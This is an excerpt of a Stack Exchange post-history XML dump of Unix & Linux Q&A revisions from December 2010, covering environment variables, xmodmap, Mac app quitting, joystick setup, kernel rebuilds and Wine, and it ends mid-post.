  <row Id="10119" PostHistoryTypeId="2" PostId="4617" RevisionGUID="0c8bb7cc-f07c-4729-ae33-02df417ff4f5" CreationDate="2010-12-07T18:49:21.340" UserId="305" Text="I belive [atop][1] allows to monitor even short programs. [Powertop][2] allows to monitor states of processor. However if the peaks are hardly noticable it is unlikely that it caused this problem.&#xD;&#xA;&#xD;&#xA;There are however few possible causes:&#xD;&#xA;&#xD;&#xA; - Corrected ACPI handling. For some reasons the temperature in ACPI was read incorrectly and the correct temperature was always 15°C highier (or incorrect). Does the computer feels warmer&#xD;&#xA; - The newer kernel may have worst temperature management (like [lacking p4-clockmod][3] etc.) - it may be bug in kernel.&#xD;&#xA; - Previously mentioned dust.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.atoptool.nl/&#xD;&#xA;  [2]: http://www.lesswatts.org/projects/powertop/&#xD;&#xA;  [3]: https://bugzilla.kernel.org/show_bug.cgi?id=12826" />
  <row Id="10120" PostHistoryTypeId="2" PostId="4618" RevisionGUID="3ecceb7b-cc1c-4599-819c-95ac981f1f9b" CreationDate="2010-12-07T18:50:19.157" UserId="2689" Text="I'm a Linux/Windows/Mac user. I like all systems, *nixes more than Windows, but I like all nonethless.&#xD;&#xA;&#xD;&#xA;I started using a Mac this year, and a difference between Linux and Windows that I can't understand is: why applications never get closes when I hit the &quot;x&quot; button, since this is the way Linux and Windows behave? I need to hit cmd+q or quit by the up menu.&#xD;&#xA;&#xD;&#xA;I mean, is that only to be different from all of them, or there's a reason for this behavior? I can't see any advantage. If I want to close, I want to close. Period.&#xD;&#xA;&#xD;&#xA;Anyone knows the reason for that?" />
  <row Id="10121" PostHistoryTypeId="1" PostId="4618" RevisionGUID="3ecceb7b-cc1c-4599-819c-95ac981f1f9b" CreationDate="2010-12-07T18:50:19.157" UserId="2689" Text="Why Mac applications never get &quot;closed&quot;?" />
  <row Id="10122" PostHistoryTypeId="3" PostId="4618" RevisionGUID="3ecceb7b-cc1c-4599-819c-95ac981f1f9b" CreationDate="2010-12-07T18:50:19.157" UserId="2689" Text="élinuxàéunixàéwindowsà" />
  <row Id="10123" PostHistoryTypeId="2" PostId="4619" RevisionGUID="bb878074-e79b-477a-82bf-c7a10c0b94ed" CreationDate="2010-12-07T19:03:33.850" UserId="305" Text="First of all - you can recover file from backup. Ok. given that you ask your question you don't have backup - but you should.&#xD;&#xA;&#xD;&#xA;The second step depends largly on filesystem you are using. If you are using ext2/3(/4?) you are lucky - there is great chance that there is [some][1] [tool][2] that will recover file - IF data is on disk. Please remember to copy data before using any tool.&#xD;&#xA;&#xD;&#xA;Unfortunatly IMHO you have hardware problem with your disk which have bad sectors. You may want to try test disk for [bad blocks][3]. Alternativly you may want to look on tools like [Spinrite][4].&#xD;&#xA;&#xD;&#xA;PS. I haven't heard of yesterday - only trash and lost+found (the second one is accessable only by root and contains found parts of files - you may have luck). However iI doubt that in yesterday/trash will contain files you are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=ext2+undelete&#xD;&#xA;  [2]: http://www.cgsecurity.org/wiki/TestDisk&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Badblocks&#xD;&#xA;  [4]: http://www.grc.com/sr/spinrite.htm" />
  <row Id="10124" PostHistoryTypeId="2" PostId="4620" RevisionGUID="be4c29b0-2f33-4205-a623-4799a252001b" CreationDate="2010-12-07T19:16:15.317" UserId="3001" Text="This may be what you're looking for:&#xD;&#xA;&#xD;&#xA;http://developer.apple.com/ue/switch/windows.html#macOSXDoesntUseMDI&#xD;&#xA;" />
  <row Id="10125" PostHistoryTypeId="5" PostId="4541" RevisionGUID="1a14dd78-4414-497c-8e9f-38887e865b2d" CreationDate="2010-12-07T19:16:29.840" UserId="1535" Comment="added 11 characters in body" Text="I'm getting this error when trying to use `xmodmap` to get rid of caps lock:&#xD;&#xA;&#xD;&#xA;    $ xmodmap -e 'clear Lock'&#xD;&#xA;    X Error of failed request:  BadValue (integer parameter out of range for operation)&#xD;&#xA;      Major opcode of failed request:  118 (X_SetModifierMapping)&#xD;&#xA;      Value in failed request:  0x17&#xD;&#xA;      Serial number of failed request:  8&#xD;&#xA;      Current serial number in output stream:  8&#xD;&#xA;&#xD;&#xA;I'm running xfce.  This problem did not occur before I added the Keyboard Layouts applet to a panel; before doing that, I was able to run my xmodmap script to swap Esc and CapsLock:&#xD;&#xA;&#xD;&#xA;    !Remap Caps_Lock as Escape&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Escape&#xD;&#xA;&#xD;&#xA;It may be relevant that I chose alt-capslock as the keyboard switch combo in the Keyboard Layouts preferences.&#xD;&#xA;&#xD;&#xA;I've had a similar problem before, on a different machine, running openbox.  On that machine, this problem started when I upgraded to Lucid.  I reported a [bug](https://bugs.freedesktop.org/show_bug.cgi?id=31436) in xorg.  However, it remains unclear whether it's really a problem with xorg, or if I'm just doing something wrong with my configuration.&#xD;&#xA;&#xD;&#xA;Have other people experienced this problem?  Can someone shed some light on what's going on here?  It seems there are quite a few layers involved, and I don't understand any of them particularly well, so any information would be helpful.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;I've discovered that the problem is specifically triggered by adding the Canada layout variant &quot;Multilingual&quot; (ca-multix).  If I instead add the variant &quot;Multilingual (first part)&quot; (ca-multi), the problem does not occur.  I think this will probably end up being a usable workaround, but I don't yet know what the difference between these variants is.&#xD;&#xA;&#xD;&#xA;I've filed a [freedesktop issue], and am commenting on a related [ubuntu issue].&#xD;&#xA;&#xD;&#xA;[freedesktop issue]: https://bugs.freedesktop.org/process_bug.cgi&#xD;&#xA;[ubuntu issue]: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/524774" />
  <row Id="10126" PostHistoryTypeId="2" PostId="4621" RevisionGUID="074ba502-85c8-45fa-b6eb-25baa23399a7" CreationDate="2010-12-07T19:32:51.367" UserId="305" Text="I'm using zsh and gdm to run gnome. Some time ago I discovered that variebles are not set correctly. For example LANG/LC_ALL are incorrect (`&quot;&quot;` instead of `en_GB.UTF-8`).&#xD;&#xA;&#xD;&#xA;I splitted the `.zshrc` into `.zshrc` and `.profile`. In the latter I set tge enviroment variables. However - how to set the variebles before session starts? I tried the few choices (`.xinitrc`, `.xsessionrc`) but none seemd to work." />
  <row Id="10127" PostHistoryTypeId="1" PostId="4621" RevisionGUID="074ba502-85c8-45fa-b6eb-25baa23399a7" CreationDate="2010-12-07T19:32:51.367" UserId="305" Text="Correctly setting enviroment" />
  <row Id="10128" PostHistoryTypeId="3" PostId="4621" RevisionGUID="074ba502-85c8-45fa-b6eb-25baa23399a7" CreationDate="2010-12-07T19:32:51.367" UserId="305" Text="égnomeàédesktopöenvironmentàégentooàégdmàéenvironmentövariablesà" />
  <row Id="10129" PostHistoryTypeId="5" PostId="4598" RevisionGUID="2a2649bf-149d-4c2c-a74e-c15fb912d08b" CreationDate="2010-12-07T19:34:04.657" UserId="2493" Comment="For perfection, moving my answer to its proper place in the thread (to its own post instead of question edit)." Text="I'd like to set a custom motd (&quot;message of the day&quot;) on my machine (currently Mac OS X 10.6.5 using Bash with Terminal.app).&#xD;&#xA;&#xD;&#xA;In &lt;code&gt;/etc/&lt;/code&gt; there was no **motd** file so I created one with some sample text. But the message doesn't show up when I restart Terminal. I've tried to &lt;code&gt;logout&lt;/code&gt; and then &lt;code&gt;login&lt;/code&gt; but it still doesn't seem to kick in.&#xD;&#xA;&#xD;&#xA;If I do &lt;code&gt;ls -l /etc/motd&lt;/code&gt; I get (if it's any clue):&#xD;&#xA;&#xD;&#xA;&lt;code&gt;-rw-r--r--  1 root  wheel  30  7 Dec 11:58 /etc/motd&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;Am I missing something?" />
  <row Id="10130" PostHistoryTypeId="2" PostId="4622" RevisionGUID="339f0675-69f9-4842-9778-884f3e7632fa" CreationDate="2010-12-07T19:39:36.537" UserId="2493" Text="Seems I worked it out. My motd not showing up must have been due to the fact that I had touched/added an empty file in my home directory called .hushlogin, which actually supresses any login messages (seems it doesn't just kill motd but any other login messages as well, as I understand it). At any rate, my problem is somehow solved and chances are I forgot to delete that .hushlogin file." />
  <row Id="10131" PostHistoryTypeId="2" PostId="4623" RevisionGUID="006fcf28-0c8e-4ae8-a3d6-7e34af59571b" CreationDate="2010-12-07T19:46:45.323" UserId="2661" Text="In Gentoo documentation there is article [Gentoo Linux Localization Guide][1]. [Chapter 3][2] is about setting locale. &#xD;&#xA;&#xD;&#xA;&gt; Most typically users only set the LANG variable on the global basis. This example is for a unicode German locale:&#xD;&#xA;&#xD;&#xA;&gt; Code Listing 3.1: Setting the default system locale in `/etc/env.d/02locale`&#xD;&#xA;&#xD;&#xA;&gt;     LANG=&quot;en_GB.UTF-8&quot;&#xD;&#xA;&#xD;&#xA;In my Gentoo `LANG` is set in this file and everything is working properly...&#xD;&#xA;&#xD;&#xA;    pbm@tauri ~ $ cat /etc/env.d/02locale &#xD;&#xA;    LANG=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    &#xD;&#xA;    pbm@tauri ~ $ locale&#xD;&#xA;    LANG=pl_PL.UTF-8&#xD;&#xA;    LC_CTYPE=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_NUMERIC=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_TIME=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_COLLATE=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_MONETARY=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_MESSAGES=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_PAPER=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_NAME=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_ADDRESS=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_TELEPHONE=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_MEASUREMENT=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_IDENTIFICATION=&quot;pl_PL.UTF-8&quot;&#xD;&#xA;    LC_ALL=&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/guide-localization.xml&#xD;&#xA;  [2]: http://www.gentoo.org/doc/en/guide-localization.xml#doc_chap3&#xD;&#xA;" />
  <row Id="10132" PostHistoryTypeId="6" PostId="4595" RevisionGUID="60291599-24af-4760-ab25-925a5d9d159f" CreationDate="2010-12-07T19:50:05.837" UserId="885" Comment="edited tags" Text="écommandölineàémp3àéoggà" />
  <row Id="10133" PostHistoryTypeId="2" PostId="4624" RevisionGUID="2d1edef7-d678-44dc-8846-c41882c7ed8c" CreationDate="2010-12-07T19:54:35.083" UserId="3003" Text="Hi,&#xD;&#xA;&#xD;&#xA;I would like to use a joystick as a mouse with Fedora 12. I tried js2mouse but didn't work. Any other solution? how to configure the system?&#xD;&#xA;&#xD;&#xA;Thx. Luke&#xD;&#xA; " />
  <row Id="10134" PostHistoryTypeId="1" PostId="4624" RevisionGUID="2d1edef7-d678-44dc-8846-c41882c7ed8c" CreationDate="2010-12-07T19:54:35.083" UserId="3003" Text="joystick as a mouse with Fedora" />
  <row Id="10135" PostHistoryTypeId="3" PostId="4624" RevisionGUID="2d1edef7-d678-44dc-8846-c41882c7ed8c" CreationDate="2010-12-07T19:54:35.083" UserId="3003" Text="élinuxàéinstallà" />
  <row Id="10136" PostHistoryTypeId="6" PostId="4592" RevisionGUID="18c1f290-8e46-4d8b-ac39-80518c2c9b83" CreationDate="2010-12-07T19:59:11.987" UserId="885" Comment="edited tags" Text="éxorgàéinputàéinputömethodà" />
  <row Id="10137" PostHistoryTypeId="5" PostId="4621" RevisionGUID="4bdb6093-8c52-4c8c-bc6d-82067163c885" CreationDate="2010-12-07T20:04:50.623" UserId="73" Comment="deleted 2 characters in body" Text="I'm using zsh and gdm to run gnome. Some time ago I discovered that variables are not set correctly. For example LANG/LC_ALL are incorrect (`&quot;&quot;` instead of `en_GB.UTF-8`).&#xD;&#xA;&#xD;&#xA;I split the `.zshrc` into `.zshrc` and `.profile`. In the latter I set the environment variables, but how can I set the variables before the session starts? I tried a few choices (`.xinitrc`, `.xsessionrc`) but none seemed to work." />
  <row Id="10138" PostHistoryTypeId="2" PostId="4625" RevisionGUID="799b338a-e5f3-4c84-95dc-a9c74a89cf97" CreationDate="2010-12-07T20:15:30.860" UserId="885" Text="I've never tried, but [these instructions for Ubuntu](http://ubuntuforums.org/showthread.php?t=516709#post_message_4595956) look plausible, and mostly distribution-independent.&#xD;&#xA;&#xD;&#xA;Add a section for the joystick in `/etc/X11/xorg.conf`. (If you don't have one, generate it with `Xorg -configure`.) The critical line is the `SendCoreEvents` option, which makes the joystick events move the mouse pointer. If your distribution splits up X11 drivers into separate packages, make sure you have the joystick input driver.&#xD;&#xA;&#xD;&#xA;    Section &quot;InputDevice&quot;&#xD;&#xA;    	Identifier	&quot;Joystick&quot;&#xD;&#xA;    	Driver	&quot;joystick&quot;&#xD;&#xA;    	Option &quot;Device&quot; &quot;/dev/input/js0&quot;&#xD;&#xA;    	Option &quot;SendCoreEvents&quot; &quot;true&quot;&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;Add a line with `InputDevice &quot;Joystick&quot;` to the `ServerLayout` section.&#xD;&#xA;&#xD;&#xA;For more control, grab the utilities in the [joystick package](http://koji.fedoraproject.org/koji/packageinfo?packageID=695).&#xD;&#xA;" />
  <row Id="10139" PostHistoryTypeId="6" PostId="4624" RevisionGUID="e163090e-e476-4956-8edb-698d638decd0" CreationDate="2010-12-07T20:15:51.437" UserId="885" Comment="edited tags; edited tags" Text="élinuxàéfedoraàémouseàéjoystickà" />
  <row Id="10140" PostHistoryTypeId="2" PostId="4626" RevisionGUID="93c39f0a-6fdf-4b84-a6e6-bc8c9648016b" CreationDate="2010-12-07T20:32:46.347" UserId="1941" Text="After quite some research I settled in the end for [slitaz][1]. I can really recommend it, as I haven't found any distribution which is so flexible. There is a minimum system (well under 20 mb), basically giving you just a shell and ssh access. However, there is a huge package repository so you can extend to graphical interface or server daemons etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://slitaz.org/en/about/" />
  <row Id="10142" PostHistoryTypeId="2" PostId="4628" RevisionGUID="7f491900-6b1e-479a-9da2-ad5f97783771" CreationDate="2010-12-07T20:47:47.247" UserId="885" Text="The simple way is to invent a time machine, visit the various people who devised shell startup files and tell them to cleanly distinguish between three things:&#xD;&#xA;&#xD;&#xA;* session setup, e.g. environment variables;&#xD;&#xA;* session launching, i.e., e.g. starting a command-line shell or a window manager or running `startx`;&#xD;&#xA;* shell initialization, e.g. aliases, prompt, key bindings.&#xD;&#xA;&#xD;&#xA;It's not too hard to get session vs. shell right in a portable way: login-time initialization goes into `.profile` (or `.zprofile`, or `.login`), shell initialization goes in `.bashrc` or `.zshrc`. I've previously written about [`.bash_profile`](http://superuser.com/questions/183870/difference-between-bashrc-and-bash-profile/183980#183980), [zsh vs. other shells](http://superuser.com/questions/187639/zsh-not-hitting-profile/187673#187673), [more about portability (mostly about bash)](http://superuser.com/questions/217431/bash-shell-how-to-reconcile-portable-configuration-files-and-gui-terminal-start/217816#217816), [more about who reads `.profile`](http://superuser.com/questions/183845/which-setup-files-should-be-used-for-setting-up-environment-variables-with-bash/183956#183956).&#xD;&#xA;&#xD;&#xA;A remaining problem is distinguishing between session setup and session launching. In most cases, `~/.profile` is executed when you log in and can double as both, but there are exceptions:&#xD;&#xA;&#xD;&#xA;* If your login shell is (t)csh or zsh, `~/.login` and `~/.zprofile` is sourced instead of `~/.profile`. Ditto for bash and `~/.bash_profile`, but this is easily solved by sourcing `~/.profile` from `~/.bash_profile`.&#xD;&#xA;* If you log in under a [display manager](http://en.wikipedia.org/wiki/X_display_manager_%28program_type%29) (xdm, gdm, kdm, …), whether your `~/.profile` is read depends on the version of the program, on your distribution (Linux or otherwise), and on what session type you choose.&#xD;&#xA;    * If you count on the display manager to start a session for you, your `.profile` must set environment variables but not start a session (e.g. a window manager).&#xD;&#xA;    * The traditional configuration file for X sessions is `~/.xsession`, doing both session setup and session launching. So the file can be essentially `. ~/.xsession; . ~/.xinitrc`. Some distributions source `~/.profile` before `~/.xsession`. Modern distributions only source `~/.xsession` when you select a “custom” session from the display manager, and such a session is not always available.&#xD;&#xA;    * Your session manager may have its own way of setting environment variables. (That's an optional part of your desktop environment, chosen by you through a configuration file or by selecting a session type when logging in; don't confuse it with the session startup scripts provided by the display manager, which are executed under your user but chosen on a system-wide basis. Yes, it's a mess.)&#xD;&#xA;&#xD;&#xA;In summary, `~/.profile` is the right place for environment variables. If it's not read, try sourcing it from `~/.xsession` (and start your X programs from there), or look for a system-specific method (which may depend on your distribution, display manager if any, session type if display manager, and desktop environment or session manager).&#xD;&#xA;" />
  <row Id="10143" PostHistoryTypeId="6" PostId="4598" RevisionGUID="f0e3cd29-4a8e-4051-b2f8-ed68127efa05" CreationDate="2010-12-07T21:03:27.790" UserId="885" Comment="edited tags" Text="éosxàémotdà" />
  <row Id="10144" PostHistoryTypeId="2" PostId="4629" RevisionGUID="0517e4e2-7185-43a5-beb7-b340cbfcbd02" CreationDate="2010-12-07T21:33:59.920" UserId="885" Text="That's a feature of the `ls` utility in [GNU coreutils](http://www.gnu.org/software/coreutils/). It doesn't depend on the shell. The syntax is not documented (you're supposed to use `dircolors` and figure it from there), but a quick look at the source shows that the only way to match files by name is to use `*` followed by a string which must be a suffix for a file name to match. The string is interpreted literally, except that `\ ` and `^` introduce escape sequences (e.g. `\n` = `^J` = newline).&#xD;&#xA;&#xD;&#xA;So you can't match different extensions with the same pattern. But you can use shell programming constructs to build `LS_COLORS`:&#xD;&#xA;&#xD;&#xA;    for ext in jpg gif; do LS_COLORS=&quot;$LS_COLORS:*.$ext=38;5;220&quot;; done&#xD;&#xA;" />
  <row Id="10145" PostHistoryTypeId="2" PostId="4630" RevisionGUID="3da378f2-b362-40e4-8341-c49e9b90d63c" CreationDate="2010-12-07T21:43:40.657" UserId="885" Text="You don't mention precisely how you rebuilt the kernel. This is a fairly complex process, and you should follow your distribution's recommendation. In fact, you should use your distribution's kernel unless you need some feature (such as a more recent set of drivers to support your hardware) that's not available precompiled.&#xD;&#xA;&#xD;&#xA;There are two common pitfalls, either of which could cause the symptoms you observe.&#xD;&#xA;&#xD;&#xA;* Maybe you forgot to compile a necessary driver. Kernel configuration is an arduous process, and it's easy to forget a crucial setting. In particular, make sure you have included the drivers necessary to reach your root filesystem: disk controller, partition scheme, filesystem, and if relevant volume management. Either these drivers must be built into the kernel (i.e. not modules), or you must have an initrd (in which case the initrd driver and the relevant filesystem must be built-in). Starting with your distribution's `.config` and changing only what you must is recommended.&#xD;&#xA;* If you use an initrd, maybe you forgot to regenerate it, or to install it, or to tell your bootloader about it.&#xD;&#xA;" />
  <row Id="10146" PostHistoryTypeId="6" PostId="4599" RevisionGUID="94f6e448-7a40-4c14-bc85-fda8740e6881" CreationDate="2010-12-07T21:44:03.837" UserId="885" Comment="edited tags" Text="élinuxàékernelàérhelàékernelöcompilationà" />
  <row Id="10147" PostHistoryTypeId="5" PostId="4621" RevisionGUID="7f313bfc-61dd-4fdb-a0f8-123ee048ccb1" CreationDate="2010-12-07T22:48:46.347" UserId="305" Comment="added 120 characters in body" Text="I'm using zsh and gdm to run gnome. Some time ago I discovered that variables are not set correctly. For example LANG/LC_ALL are incorrect (`&quot;&quot;` instead of `en_GB.UTF-8`).&#xD;&#xA;&#xD;&#xA;I split the `.zshrc` into `.zshrc` and `.profile`. In the latter I set the environment variables, but how can I set the variables before the session starts? I tried a few choices (`.xinitrc`, `.xsessionrc`) but none seemed to work.&#xD;&#xA;&#xD;&#xA;**Edit** To clarify - I used `.profile` and *manually* sourced it in `.zshrc`. It does not change question anyway.&#xD;&#xA;" />
  <row Id="10148" PostHistoryTypeId="2" PostId="4631" RevisionGUID="3cd941e9-86fa-4a31-9461-0c0730048541" CreationDate="2010-12-08T00:59:03.580" UserId="665" Text="try [QJoyPad][1]... it worked realy well with my joypad (it also supports joysticks)&#xD;&#xA;it can autodetect your joystick, number of axes, button number, also - supports joysticks with multiple axes...&#xD;&#xA;&#xD;&#xA;for the extended list of features look [here][2]&#xD;&#xA;&#xD;&#xA;I use it on Arch, but I imagine there probably is a Fedora package for it... =)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://qjoypad.sourceforge.net/&#xD;&#xA;  [2]: http://qjoypad.sourceforge.net/#features" />
  <row Id="10149" PostHistoryTypeId="5" PostId="4631" RevisionGUID="6ec5553a-c3a2-476e-bbac-b6e0a3970c4f" CreationDate="2010-12-08T01:04:40.513" UserId="665" Comment="added 143 characters in body" Text="try [QJoyPad][1]... it worked realy well with my joypad (it also supports joysticks)&#xD;&#xA;it can autodetect your joystick, number of axes, button number, also - supports joysticks with multiple axes...&#xD;&#xA;&#xD;&#xA;for the extended list of features look [here][2]&#xD;&#xA;&#xD;&#xA;I use it on Arch, but I imagine there probably is a Fedora package for it... =)&#xD;&#xA;&#xD;&#xA;after you install it, you should just configure the axes to act as a mouse.. you will also be able to set it's sensitivity, treshold etc...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://qjoypad.sourceforge.net/&#xD;&#xA;  [2]: http://qjoypad.sourceforge.net/#features" />
  <row Id="10150" PostHistoryTypeId="2" PostId="4632" RevisionGUID="2a3467fb-392f-4d2e-8544-e0172cd39bd1" CreationDate="2010-12-08T01:29:06.693" UserId="2493" Text="Some of my environment variables (&lt;code&gt;$PATH&lt;/code&gt;, &lt;code&gt;$MANPATH&lt;/code&gt; and friends) are partially set up in different source files.&#xD;&#xA;&#xD;&#xA;I find myself wishing for a command or method to quickly gather _what part_, in a specific environment variable, came from _what file_.&#xD;&#xA;&#xD;&#xA;My $PATH, for instance, has obviously been set (added to) in &lt;code&gt;.bashrc&lt;/code&gt;, &lt;code&gt;/etc/paths&lt;/code&gt;, &lt;code&gt;/etc/paths.d/X11&lt;/code&gt; … and I'm still looking for that last mysterious file which superfluously created a duplicate path definition in my &lt;code&gt;$PATH&lt;/code&gt;.&#xD;&#xA;&#xD;&#xA;It takes a good while to manually pinpoint the files that contribute to environment variables. There must be a useful way to bypass this unnecessary labor of tracing all the setters … or am I the only one thinking along these lines?" />
  <row Id="10151" PostHistoryTypeId="1" PostId="4632" RevisionGUID="2a3467fb-392f-4d2e-8544-e0172cd39bd1" CreationDate="2010-12-08T01:29:06.693" UserId="2493" Text="Is it possible to find out which files are _setting_ environment variables, and their order of precedence?" />
  <row Id="10152" PostHistoryTypeId="3" PostId="4632" RevisionGUID="2a3467fb-392f-4d2e-8544-e0172cd39bd1" CreationDate="2010-12-08T01:29:06.693" UserId="2493" Text="éenvironmentövariablesà" />
  <row Id="10153" PostHistoryTypeId="2" PostId="4633" RevisionGUID="7891f7c3-946b-4234-9456-a32d5544fc8e" CreationDate="2010-12-08T01:37:39.863" UserId="250" Text="This is application specific. For example the System Preferences application *does* quit when you click on the red button. However, the majority of programs only close the window (an the documents within) when you try to &quot;close&quot; it. I guess the idea behind this is to make things faster when you want to use the application again.&#xD;&#xA;&#xD;&#xA;&gt;If I want to close, I want to close. Period.&#xD;&#xA;&#xD;&#xA;I agree, so I use keyboard shortcuts, &lt;kbd&gt;Cmd&lt;/kbd&gt;+&lt;kbd&gt;w&lt;/kbd&gt; for closing the window, and &lt;kbd&gt;Cmd&lt;/kbd&gt;+&lt;kbd&gt;q&lt;/kbd&gt; for really quitting. Most applications have this implemented. An alternative is to right click on the application icon and choose &quot;Quit&quot;, which is much slower." />
  <row Id="10154" PostHistoryTypeId="2" PostId="4634" RevisionGUID="7af0a9bd-e315-430e-904a-fff5e0202745" CreationDate="2010-12-08T01:41:31.560" UserId="688" Text="I see Ubuntu screenshots showing that one can right-click an ISO, and have an option to &quot;Open with Archive Mount&quot;. How do I get that running elsewhere where it isn't default (Debian in my case)? This is so as to avoid having to use the command-line to loop-mount it." />
  <row Id="10155" PostHistoryTypeId="1" PostId="4634" RevisionGUID="7af0a9bd-e315-430e-904a-fff5e0202745" CreationDate="2010-12-08T01:41:31.560" UserId="688" Text="How to get Nautilus to &quot;Open with Archive Mount&quot;?" />
  <row Id="10156" PostHistoryTypeId="3" PostId="4634" RevisionGUID="7af0a9bd-e315-430e-904a-fff5e0202745" CreationDate="2010-12-08T01:41:31.560" UserId="688" Text="éubuntuàédebianàénautilusà" />
  <row Id="10157" PostHistoryTypeId="4" PostId="4632" RevisionGUID="2363a52f-bf8b-4635-8684-06f33fcaa1ff" CreationDate="2010-12-08T01:48:06.577" UserId="2493" Comment="Polished the title a bit" Text="Is it possible to find out which files are setting/adding to environment variables, and their order of precedence?" />
  <row Id="10158" PostHistoryTypeId="5" PostId="4341" RevisionGUID="b8cac6b7-c80f-49ee-b76b-ff51ecb83a60" CreationDate="2010-12-08T02:57:59.003" UserId="2180" Comment="added 5 characters in body" Text="A good way to inspect what a command is:&#xD;&#xA;&#xD;&#xA;    type l&#xD;&#xA;&#xD;&#xA;If it's a program or a script, it will give you its location, if it is an alias, it will tell you what it's aliased to, if it's a function, it will print the funciton; otherwise, it will tell you if it is a built-in or a keyword.&#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA;    $ type find&#xD;&#xA;    find is /usr/bin/find&#xD;&#xA;    $ type connecthome&#xD;&#xA;    connecthome is hashed (/usr/local/bin/connecthome)&#xD;&#xA;    $ type grep&#xD;&#xA;    grep is aliased to `grep --color=auto --binary-files=without-match --devices=skip'&#xD;&#xA;    $ type hello_se&#xD;&#xA;    hello_se is a function&#xD;&#xA;    hello_se () &#xD;&#xA;    { &#xD;&#xA;      echo 'Hello, Stack Exchangers!'&#xD;&#xA;    }&#xD;&#xA;    $ type type&#xD;&#xA;    type is a shell builtin&#xD;&#xA;    $ type for&#xD;&#xA;    for is a shell keyword&#xD;&#xA;    $ type nosuchthing&#xD;&#xA;    -bash: type: nosuchthing: not found" />
  <row Id="10159" PostHistoryTypeId="2" PostId="4635" RevisionGUID="12e8995b-ec89-43b0-abdf-6118f33a3c20" CreationDate="2010-12-08T04:21:42.207" UserId="2119" Text="I am about to buy a 2TB hard drive to have all my scrap in one place. I will split it to some partitions one to store my data, and others to store OS distros and bootable OSes like WinPE and Linux.&#xD;&#xA;&#xD;&#xA;I'd like the Linux system to be a fully-equipped all-purpose graphical environment (preferably with XFCE, but this doesn't really matter) with all hardware (including 3D graphics) automatic support on virtually any machine and automatic RW mounting of all available partitions (incl. those on this HDD and on a host machine (incl. NTFS, LVM, and FreeBSD partitions)). I'd like as fresh software versions as possible.&#xD;&#xA;&#xD;&#xA;Should I use Mandriva Move, Knoppix, or something else?" />
  <row Id="10160" PostHistoryTypeId="1" PostId="4635" RevisionGUID="12e8995b-ec89-43b0-abdf-6118f33a3c20" CreationDate="2010-12-08T04:21:42.207" UserId="2119" Text="What Linux distro would you recommend for a big all-purpose LiveUSB?" />
  <row Id="10161" PostHistoryTypeId="3" PostId="4635" RevisionGUID="12e8995b-ec89-43b0-abdf-6118f33a3c20" CreationDate="2010-12-08T04:21:42.207" UserId="2119" Text="élinuxàédistrosàéliveöusbà" />
  <row Id="10162" PostHistoryTypeId="2" PostId="4636" RevisionGUID="8751d66d-dece-4912-b6ca-5a3724f8961c" CreationDate="2010-12-08T04:30:12.763" UserId="2119" Text="As far as I understand Wine runtime does better if some libraries are copied from MS Windows, but some Windows system libraries really are not to be used with Wine (some can even make it stop working, and many are simply useless).&#xD;&#xA;&#xD;&#xA;So what files make sense and are safe to copy from MS Windows into Wine system?&#xD;&#xA;&#xD;&#xA;I own a legal Windows XP copy (but prefer to use GNU/Linux) and run Wine 1.3.8 on Ubuntu 10.10." />
  <row Id="10163" PostHistoryTypeId="1" PostId="4636" RevisionGUID="8751d66d-dece-4912-b6ca-5a3724f8961c" CreationDate="2010-12-08T04:30:12.763" UserId="2119" Text="What files should I copy from Windows into Wine?" />
  <row Id="10164" PostHistoryTypeId="3" PostId="4636" RevisionGUID="8751d66d-dece-4912-b6ca-5a3724f8961c" CreationDate="2010-12-08T04:30:12.763" UserId="2119" Text="élinuxàéwindowsàélibrariesàéwineà" />
  <row Id="10165" PostHistoryTypeId="2" PostId="4637" RevisionGUID="7cb41a99-a8d4-4a00-9ce1-a6aeae3216f6" CreationDate="2010-12-08T04:53:30.410" UserId="3005" Text="Made changes, same issue&#xD;&#xA;Connecting from Ubuntu 10.4.1 to Ubuntu 10.4.1 virtual box (with bridged connection) hosted on Ubuntu 10.4.1" />
  <row Id="10166" PostHistoryTypeId="5" PostId="4607" RevisionGUID="883a6a91-344b-4866-8cbd-be31f9a6d094" CreationDate="2010-12-08T04:53:54.907" UserId="2871" Comment="Added an info on initramfs" Text="Hi All,  &#xD;&#xA;While reading through the kernel documentation on ramdisk in &#xD;&#xA;[ramfs-rootfs-initramfs.txt][1] i was having a doubt like the ramdisk explained there is same as the initrd features described in the post at [the-difference-between-initrd-and-initramfs][2].  &#xD;&#xA;&#xD;&#xA;Could someone clarify me on this??  &#xD;&#xA;&#xD;&#xA;And if it is the same, i read that there are many disadvantages for it, but still in my fedora PC, i see &#xD;&#xA;&#xD;&#xA;&gt; initrd-2.6.29.4-167.fc11.i686.PAE.img &#xD;&#xA;&#xD;&#xA;in my boot folder. Is it different from the initrd mentioned above??  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;UPDATE_EDIT :  &#xD;&#xA;In of the  [articles][3] I even saw a command like    &#xD;&#xA;`# update-initramfs -u all  &#xD;&#xA;   update-initramfs: Generating 